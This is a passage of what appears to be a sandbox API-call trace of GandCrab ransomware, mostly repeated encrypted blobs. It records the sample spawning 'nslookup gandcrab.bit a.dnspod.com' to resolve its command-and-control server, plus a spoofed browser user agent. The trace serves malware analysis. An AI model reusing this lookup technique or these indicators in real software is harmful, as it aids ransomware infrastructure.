(lpString="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") returned 5792 [0042.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x26f0000, cbMultiByte=-1, lpWideCharStr=0x26d0000, cchWideChar=5792 | out: lpWideCharStr="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8O") returned 0 [0042.901] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0042.901] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2700000 [0042.902] lstrlenW (lpString="") returned 0 [0042.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2710000 [0042.903] CreatePipe (in: hReadPipe=0x412b0c, hWritePipe=0x412b08, lpPipeAttributes=0x19f834, nSize=0x0 | out: hReadPipe=0x412b0c*=0x3bc, hWritePipe=0x412b08*=0x4b0) returned 1 [0042.903] SetHandleInformation (hObject=0x3bc, dwMask=0x1, dwFlags=0x0) returned 1 [0042.903] CreatePipe (in: hReadPipe=0x412b04, hWritePipe=0x412b10, lpPipeAttributes=0x19f834, nSize=0x0 | out: hReadPipe=0x412b04*=0x4b4, hWritePipe=0x412b10*=0x4b8) returned 1 [0042.903] SetHandleInformation (hObject=0x4b8, dwMask=0x1, dwFlags=0x0) returned 1 [0042.903] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f784*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4b4, hStdOutput=0x4b0, hStdError=0x4b0), lpProcessInformation=0x19f7c8 | out: lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessInformation=0x19f7c8*(hProcess=0x4c0, hThread=0x4bc, dwProcessId=0xdf0, dwThreadId=0xde8)) returned 1 [0042.983] CloseHandle (hObject=0x4c0) returned 1 [0042.983] CloseHandle (hObject=0x4bc) returned 1 [0042.983] ReadFile (in: hFile=0x3bc, lpBuffer=0x19e81c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f81c, lpOverlapped=0x0 | out: lpBuffer=0x19e81c*, lpNumberOfBytesRead=0x19f81c*=0x93, lpOverlapped=0x0) returned 1 [0048.357] lstrlenA (lpString="Address:") returned 8 [0048.357] lstrcpyA (in: lpString1=0x2710000, lpString2="78.155.206.6" | out: lpString1="78.155.206.6") returned="78.155.206.6" [0048.357] lstrcmpiA (lpString1="78.155.206.6", lpString2="127.0.0.1") returned 1 [0048.357] wsprintfW (in: param_1=0x2700000, param_2="%S" | out: param_1="78.155.206.6") returned 12 [0048.357] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.358] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36d